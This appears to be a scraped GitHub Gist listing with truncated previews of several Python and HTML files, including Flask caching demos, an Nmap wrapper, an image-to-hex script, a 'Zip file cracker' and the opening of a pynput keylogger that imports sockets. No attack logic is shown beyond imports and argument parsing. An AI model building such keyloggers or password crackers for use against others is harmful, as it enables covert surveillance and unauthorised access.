This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head><meta charset="utf-8" /> | |
<title>Fourier_Transform</title> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/require.js/2.1.10/require.min.js"></script> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script> | |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask, jsonify | |
from requests import get as request | |
from flask_caching import Cache | |
BASE = """https://jsonplaceholder.typicode.com/users/{id}""" | |
# creating application | |
app = Flask(__name__) | |
conf = {'CACHE_TYPE': 'redis'} # or memcache |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask, jsonify | |
from requests import get as request | |
from functools import lru_cache | |
BASE = """https://jsonplaceholder.typicode.com/users/{id}""" | |
# creating application | |
app = Flask(__name__) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from os import path | |
import tempfile | |
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
from zipfile import ZipFile | |
from queue import Queue | |
# configuring argument parser | |
parser = ArgumentParser(description="Zip file cracker", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("--zip", help="zip file to extract", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Controller, Listener, Key | |
from argparse import ArgumentParser, RawTextHelpFormatter | |
from socket import socket, AF_INET, SOCK_STREAM | |
from os import path | |
import os | |
from datetime import datetime | |
def on_press_log_file(key: Key): | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from nmap import PortScanner, PortScannerError | |
from argparse import ArgumentParser, RawTextHelpFormatter | |
from os import path | |
import os | |
from socket import gethostbyname | |
# configuring the argument parsing | |
parser = ArgumentParser(description="A minimal Nmap Automation Script", | |
formatter_class=RawTextHelpFormatter) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
import binascii | |
import string | |
def rgb2hex(r,g,b): | |
hex = "#{:02x}{:02x}{:02x}".format(r,g,b) | |
return str(hex) | |
im = Image.open('bojack.png') | |
print im | |
arr='' | |
pix_val = list(im.getdata()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# ------------------- | |
# Author: Gurkirat Singh <tbhaxor@gmail.com> | |
# ------------------- | |
import requests | |
import sys | |
import hashlib | |
import re |